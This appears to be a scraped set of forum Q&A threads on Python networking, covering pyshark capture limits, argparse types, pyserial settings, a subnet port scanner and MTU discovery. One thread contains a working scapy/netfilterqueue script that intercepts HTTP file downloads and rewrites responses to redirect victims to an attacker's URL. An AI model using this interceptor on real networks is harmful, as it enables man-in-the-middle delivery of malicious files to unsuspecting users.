I want to capture the limited number of packet. for example, while I am using the command python python.py -I eth0 -c 10 then I wan to capture only 10 number of packet and exit but I am printing many packets instead of 10. please tell me where am I wrong.
#!/usr/bin/python
import argparse
import pyshark
import time
import re as regex
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--interface', metavar=" ", type=str, required = True, help = 'To specify the interface ')
parser.add_argument('-v', '--verbose', required = False, action = 'store_true', help = 'To print the all layer of packet')
parser.add_argument('-o', '--output', metavar=' ', help = 'To capture and save the pcap in a file')
parser.add_argument('-p', '--protocol', metavar=' ', help= 'To capture packet using ptotocl filter')
parser.add_argument('-u', '--udp', action = 'store_true', help = 'To capture udp packet only')
parser.add_argument('-t', '--tcp', action = 'store_true', help = 'To capture tcp packet only')
parser.add_argument('-c', '--count', metavar=' ',type=int, default=1, help = 'To capture limited number of packet')
args = parser.parse_args()
if args.count:
capture = pyshark.LiveCapture(interface=args.interface)
capture.sniff(packet_count = args.count)
elif args.protocol:
capture = pyshark.LiveCapture(interface=args.interface, display_filter=args.protocol)
elif args.udp:
capture = pyshark.LiveCapture(interface=args.interface, bpf_filter='udp')
elif args.tcp:
capture = pyshark.LiveCapture(interface=args.interface, bpf_filter='tcp')
else:
capture = pyshark.LiveCapture(interface=args.interface, output_file=args.output)
# capture.sniff(packet_count = args.count)
packet_list = []
for packet in capture.sniff_continuously():
if 'IP Layer' in str(packet.layers):
protocol = regex.search(r'(Protocol:)(.*)',str(packet.ip))
protocol_type = protocol.group(2).strip().split(' ')[0]
# proto = protocol_type
localtime = time.asctime(time.localtime(time.time()))
proto = protocol_type
src_addr = packet.ip.src
dst_addr = packet.ip.dst
length = packet.length
print (localtime, '\t' , proto, '\t' ,src_addr, '\t', dst_addr, '\t' , length)
if args.verbose:
print(packet.show())
output
I am capturing more than 10 packets.
capture.sniff(packet_count = args.count)
This will immediately read the given number of packets
for packet in capture.sniff_continuously():
This will read packets without any limit.
So if you want to only read the number of packets don't immediately call sniff when parsing the args.count argument but instead apply packet_count = args.count later to sniff_continously:
for packet in capture.sniff_continuously(packet_count = args.count):
Related
I want to capture the limited number of packet. for example, while I am using the command python python.py -I eth0 -c 10 then I wan to capture only 10 number of packet and exit but I am getting error.the below are the code and erro I am getting.
!/usr/bin/python
import argparse
import pyshark
import time
import re as regex
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--interface', metavar=" ", type=str, required = True, help = 'To specify the interface ')
parser.add_argument('-v', '--verbose', required = False, action = 'store_true', help = 'To print the all layer of packet')
parser.add_argument('-o', '--output', metavar=' ', help = 'To capture and save the pcap in a file')
parser.add_argument('-p', '--protocol', metavar=' ', help= 'To capture packet using ptotocl filter')
parser.add_argument('-u', '--udp', action = 'store_true', help = 'To capture udp packet only')
parser.add_argument('-t', '--tcp', action = 'store_true', help = 'To capture tcp packet only')
parser.add_argument('-c', '--count', metavar=' ',default=1, help = 'To capture limited number of packet')
args = parser.parse_args()
if args.protocol:
capture = pyshark.LiveCapture(interface=args.interface, display_filter=args.protocol)
elif args.udp:
capture = pyshark.LiveCapture(interface=args.interface, bpf_filter='udp')
elif args.tcp:
capture = pyshark.LiveCapture(interface=args.interface, bpf_filter='tcp')
else:
capture = pyshark.LiveCapture(interface=args.interface, output_file=args.output)
capture.sniff(packet_count = args.count)
packet_list = []
for packet in capture.sniff_continuously():
if 'IP Layer' in str(packet.layers):
protocol = regex.search(r'(Protocol:)(.*)',str(packet.ip))
protocol_type = protocol.group(2).strip().split(' ')[0]
# proto = protocol_type
localtime = time.asctime(time.localtime(time.time()))
proto = protocol_type
src_addr = packet.ip.src
dst_addr = packet.ip.dst
length = packet.length
print (localtime, '\t' , proto, '\t' ,src_addr, '\t', dst_addr, '\t' , length)
if args.verbose:
print(packet.show())
error
python python.py -i eth0 -c 10
Traceback (most recent call last):
File "/home/kali/python.py", line 32, in <module>
capture.sniff(packet_count = args.count)
File "/home/kali/.local/lib/python3.10/site-packages/pyshark/capture/capture.py", line 144, in load_packets
self.apply_on_packets(
File "/home/kali/.local/lib/python3.10/site-packages/pyshark/capture/capture.py", line 256, in apply_on_packets
return self.eventloop.run_until_complete(coro)
File "/usr/lib/python3.10/asyncio/base_events.py", line 646, in run_until_complete
return future.result()
File "/home/kali/.local/lib/python3.10/site-packages/pyshark/capture/capture.py", line 267, in packets_from_tshark
await self._go_through_packets_from_fd(tshark_process.stdout, packet_callback, packet_count=packet_count)
File "/home/kali/.local/lib/python3.10/site-packages/pyshark/capture/capture.py", line 299, in _go_through_packets_from_fd
if packet_count and packets_captured >= packet_count:
TypeError: '>=' not supported between instances of 'int' and 'str'
File "/home/kali/.local/lib/python3.10/site-packages/pyshark/capture/capture.py", line 299, in _go_through_packets_from_fd
if packet_count and packets_captured >= packet_count:
TypeError: '>=' not supported between instances of 'int' and 'str'
It is expected that packet_count is an integer. But packet count is taken from the command line (args) and thus is as string unless explicitly given otherwise:
parser.add_argument('-c', '--count', metavar=' ',default=1, help = 'To capture limited number of packet')
...
capture.sniff(packet_count = args.count)
To fix this args.count either must be converted to int explicitly or the proper type should be given when parsing the args with the type argument:
parser.add_argument('-c', '--count', type=int, metavar=' ', default=1, help = 'To capture limited number of packet')
I collect all the data to parameter the Serial Connexion through User Input.
However Pyserial API doesnt take for exemple the value "EIGHTBITS" directly as parameter but you have to call serial.EIGHTBITS.
Is there a way to over come this ?
ap = argparse.ArgumentParser()
ap.add_argument("-p", "--Port", required=True,
help="specify Port Name")
ap.add_argument("-b", "--Baud", type=int,required=True,
help="Specify Baud rate")
ap.add_argument("-t", "--timeout", type=float,required=True,
help="Connexion Timeout")
ap.add_argument("-d", "--ByteSize",default="EIGHTBITS",choices=['FIVEBITS','SIXBITS','SEVENBITS','EIGHTBITS'],
help="Specify the Data bits number")
ap.add_argument("-s", "--StopBits", default="STOPBITS_ONE",choices=['STOPBITS_ONE','STOPBITS_ONE_POINT_FIVE','STOPBITS_TWO'],
help="StopBits Value")
ap.add_argument("-pa", "--parity", default="PARITY_NONE",choices=['PARITY_NONE','PARITY_EVEN','PARITY_ODD','PARITY_MARK','PARITY_SPACE'],
help="Set up the Parity Bit")
ap.add_argument("-f", "--FlowControl", type=bool, default=False,
help="StopBits Value")
args = vars(ap.parse_args())
Port = args["Port"]
BaudRate = args["Baud"]
Timeout = args["timeout"]
ByteSize = args["ByteSize"]
Stop = args["StopBits"]
Parity = args["parity"]
FlowC=args["FlowControl"]
ser=serial.Serial(Port,BaudRate,bytesize=ByteSize,parity=Parity,stopbits=Stop,timeout=Timeout,xonxoff=FlowChart)
Use getattr to retrieve the value of serial.EIGHTBITS etc from the serial module, by name (string), eg. "EIGHTBITS".
Parity = getattr(serial, args["parity"])
The code provided below accepts the arguments but it doesn't print help menu while specifying -h. The error method doesn't print the specified message when any argument is missing. Am I missing something?
I expect the code to print a custom message when no arguments are given or when one is missing.
import netfilterqueue
import scapy.all as scapy
from termcolor import colored
import argparse
seq_list = []
def get_argurments():
parse = argparse.ArgumentParser()
parse.add_argument("-f", "--filetype", dest="filetype", help="Press -h for Help.")
parse.add_argument("-u", "--url", dest="url", help="Press -h for Help." )
args = parse.parse_args()
return args
def process_queue():
queue = netfilterqueue.NetfilterQueue() # Creating an Instance of NetFilterQueue.
queue.bind(0, process_packets) # Binding the instance to the '0' Queue-num in Iptables rule.
queue.run()
def set_packet_load(packet, load):
packet[scapy.Raw].load = load
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
def process_packets(packet):
args = get_argurments()
scapy_packet = scapy.IP(packet.get_payload()) # To convert the Raw packets into scapy packets.
if scapy_packet.haslayer(scapy.Raw): # Checking for Raw Layer which contains the useful Data.
if scapy_packet.haslayer(scapy.TCP):
if scapy_packet[scapy.TCP].dport == 80:
if args.filetype in scapy_packet[scapy.Raw].load:
print(colored("[+] File Request", "yellow"))
load = scapy_packet[scapy.Raw].load
print(colored("[+] Request >> ", "green") + load)
seq_list.append(scapy_packet[scapy.TCP].ack)
elif scapy_packet[scapy.TCP].sport == 80:
if scapy_packet[scapy.TCP].seq in seq_list:
seq_list.remove(scapy_packet[scapy.TCP].seq)
print(colored("[+] Replacing File", "green"))
modified_packet = set_packet_load(scapy_packet, "HTTP/1.1 301 Moved Permanently\nLocation: "+ args.url + "\n\n")
modified_response = scapy_packet[scapy.Raw].load
print(colored("[+] Modified Response >> " + modified_response))
packet.set_payload(str(modified_packet))
packet.accept() # Forwarding the Packets.
def launch_attack():
print(colored("[+] File Interceptor running... Make sure you specified the FileType (-f) and Replacement File URL (-u) ", "green"))
try:
process_queue()
except KeyboardInterrupt:
print(colored("[-] Ctrl-C Detected... Quitting..", "yellow"))
launch_attack()
I'm currently working on this Python port scanner, I'm trying to implement a feature that will allow this port scanner to scan a local subnet.
Currently when the target IP ends in .0, it scans every IP in that subnet range, (.1 - .255) except when I run the program, returns 'cannot resolve , unknown host' for every single IP within the subnet range. The code I currently have is below:
# import modules used in port scanner
import optparse
from socket import *
from threading import *
import ipaddress
# connect-scan function, deals with connecting to the host / determining if ports are open / closed, takes arguments tgtHost, tgtPort
def connScan(tgtHost, tgtPort):
try:
connSkt = socket(AF_INET, SOCK_STREAM)
connSkt.connect((tgtHost, tgtPort))
connSkt.send('\r\n')
result = connSkt.recv(100)
# prints result if port is open
print '[+] ' + str(tgtPort) + '/tcp open'
except:
# prints result if port is closed
print '[-] ' + str(tgtPort) + '/tcp closed'
finally:
connSkt.close()
# port-scan function, takes arguments tgtHost, tgtPorts
def portScan(tgtHost, tgtPorts):
try:
# tries to get target IP address
tgtIP = gethostbyname(tgtHost)
except:
# if unsuccesful, prints out following result
print '[-] cannot resolve ' + unicode(tgtHost) + ': unknown host'
return
try:
# tries to get target address
tgtName = gethostbyaddr(tgtIP)
print '\n[+] scan results for: ' + tgtName[0]
except:
print '\n[+] scan results for: ' + tgtIP
# sets default time out to 1
setdefaulttimeout(1)
# for every port in tgtPorts
for tgtPort in tgtPorts:
# creates thread, target is connScan function, arguments are tgtHost, int(tgtPort)
t = Thread(target=connScan, args=(tgtHost, int(tgtPort)))
# starts the thread
t.start()
def main():
parser = optparse.OptionParser('usage %prog -t <target-host> -p <target-port(s)>')
parser.add_option('-t', dest='tgtHost', type='string', help='specify target host, for local subnet, use 192.168.1.0 (scans range 192.168.1.1 - 192.168.1.255')
parser.add_option('-p', dest='tgtPort', type='string', help='specify target port(s), seperated by a comma, seperate ranges with a -')
(options, args) = parser.parse_args()
if (options.tgtHost == None) | (options.tgtPort == None):
print parser.usage
exit(0)
else:
tgtHost = options.tgtHost
if tgtHost.endswith('.0'):
hosts = ipaddress.ip_network(unicode(tgtHost+'/24'))
else:
hosts = [tgtHost]
# allows ranges of ports to be used, when seperated by a -
if '-' in str(options.tgtPort):
tgtPorts = options.tgtPort.split('-')
tgtPorts = range(int(tgtPorts[0]),int(tgtPorts[1]))
else:
tgtPorts = str(options.tgtPort).split(',')
for tgtHost in hosts:
portScan(tgtHost, tgtPorts)
if __name__ == '__main__':
main()
I've been trying to find the solution for this, however have come up empty. Does anyone know whats wrong with the code?
I have to write a code where I need to send data using udp protocol in python. I need to set the packet size to the MTU value of the network. Is there any way that I can decide the MTU value of the network writing some code in python?
This answer was taken from
http://books.google.co.il/books?id=9HGUc8AO2xQC&pg=PA31&lpg=PA31&dq#v=onepage&q&f=false
(page 31)
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
hostName = #ip here
Port = 9999
s.connect((hostName, Port))
s.setsockopt(socket.IPPROTO_IP, IN.IP_MTU_DISCOVER, IN.IP_PMTUDISC_DO)
try:
s.send('#' * 1473)
except socket.error:
print 'The message did not make it'
option = getattr(IN, 'IP_MTU', 14)
print 'MTU:', s.getsockopt(socket.IPPROTO_IP, option)
else:
print 'The big message was sent! Your network supports really big packets!'
There is a github-gist providing this functionality:
import re
import socket
import struct
import logging
import subprocess
from fcntl import ioctl
SIOCGIFMTU = 0x8921
SIOCSIFMTU = 0x8922
log = logging.getLogger(__name__)
def get_mtu_for_address(ip):
routeinfo = subprocess.check_output(['ip', 'route', 'get', ip])
dev = re.search('.*dev (\w+) .*', routeinfo).groups()[0]
mtuinfo = subprocess.check_output(['ip', 'link', 'show', dev])
mtu = re.search('.*mtu ([0-9]+) .*', mtuinfo).groups()[0]
return int(mtu)
class Iface:
def __init__(self, ifname):
self.ifname = ifname
def get_mtu(self):
'''Use socket ioctl call to get MTU size'''
s = socket.socket(type=socket.SOCK_DGRAM)
ifr = self.ifname + '\x00'*(32-len(self.ifname))
try:
ifs = ioctl(s, SIOCGIFMTU, ifr)
mtu = struct.unpack('<H',ifs[16:18])[0]
except Exception, s:
log.critical('socket ioctl call failed: {0}'.format(s))
raise
log.debug('get_mtu: mtu of {0} = {1}'.format(self.ifname, mtu))
self.mtu = mtu
return mtu
def set_mtu(self, mtu):
'''Use socket ioctl call to set MTU size'''
s = socket.socket(type=socket.SOCK_DGRAM)
ifr = struct.pack('<16sH', self.ifname, mtu) + '\x00'*14
try:
ifs = ioctl(s, SIOCSIFMTU, ifr)
self.mtu = struct.unpack('<H',ifs[16:18])[0]
except Exception, s:
log.critical('socket ioctl call failed: {0}'.format(s))
raise
log.debug('set_mtu: mtu of {0} = {1}'.format(self.ifname, self.mtu))
return self.mtu
if __name__ == "__main__":
import sys
logging.basicConfig()
mtu = None
if len(sys.argv) > 2:
dev,mtu = sys.argv[1:]
elif len(sys.argv) > 1:
dev = sys.argv[1]
else:
dev = 'eth0'
iface = Iface(dev)
if mtu is not None:
iface.set_mtu(int(mtu))
print dev,'mtu =',iface.get_mtu()
Source: https://gist.github.com/nzjrs/8934855
The accepted answer did not work for me in Python 3.7. I get: OSError: [Errno 6] Device not configured
But, psutil now has this built in.
import psutil
print(psutil.net_if_stats())
Results in:
{
'lo0': snicstats(isup=True, duplex=<NicDuplex.NIC_DUPLEX_UNKNOWN: 0>, speed=0, mtu=16384),
'en0': snicstats(isup=True, duplex=<NicDuplex.NIC_DUPLEX_UNKNOWN: 0>, speed=0, mtu=1500),
...
}
You can simply do a binary search over ping with DF (Don't Fragment) flag. Here is a working coding to find MTU through the above-mentioned technique. It gives you `minimum MTU of the full packet routing path AKA the max payload you can send.
Tested only on Windows (won't work on Linux/Mac as ping flags are different in different OS)
# tested on Windows 10 Home and python 3.6 [at Great Istanbul, Turkey]
import subprocess
from time import perf_counter
class FindMinMtu:
"""
- Find Minimum "Maximum Transmission Unit" of a packet routing path via Binary Search
- Suppose you want to find how much data you can send in each packet
from London to Turkey?
- Now we need to remember MTU and MSS (Max. Segment size) isn't not the same.
MSS is the actual data (not headers) you can send. A typical formula for MSS is
MSS = MTU - (IP header_size + TCP/UDP/Any Transport Layer Protocol header_size)
whereas MTU = Everything in packet - Ethernet headers
MTU typical refers to Ethernet MTU, AKA how much payload can an ethernet cable push through next hop.
"""
def __init__(self, url: str):
self.url = url
self._low_mtu = 500
# typically ethernet cables can carry 1500 bytes (but Jumbo fiber can carry upto 9K bytes AFAIK)
# so increase it as per your requirements
self._high_mtu = 1500
self._last_accepted = self._low_mtu
#staticmethod
def yield_console_output(command):
p = subprocess.Popen(command,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT)
return iter(p.stdout.readline, b'')
def does_accept_mtu_size(self, size) -> bool:
command = 'ping {domain_name} -t -f -l {size}'.format(domain_name=self.url,
size=size).split()
for line in self.yield_console_output(command):
line = line.decode(encoding='utf-8')
if line.startswith('Packet') and 'DF' in line:
return False
elif line.startswith('Reply'):
return True
def find_min_mtu(self):
while self._low_mtu <= self._high_mtu:
if not (self.does_accept_mtu_size(self._low_mtu), self.does_accept_mtu_size(self._high_mtu)):
return self._last_accepted
else:
middle = (self._high_mtu + self._low_mtu) // 2
print("Low: {} High: {} Middle: {}".format(self._low_mtu, self._high_mtu, middle))
if self.does_accept_mtu_size(middle):
self._last_accepted = middle
self._low_mtu = middle + 1
else:
self._high_mtu = middle - 1
return self._last_accepted
if __name__ == '__main__':
start = perf_counter()
# please provide protocol less domain name (without http://, https:// and also without www or any subdomain)
# provide the naked url (without www/subdomain)
f = FindMinMtu("libwired.com")
print("\nMTU: {} bytes (Found in {} seconds)".format(f.find_min_mtu(), perf_counter() - start))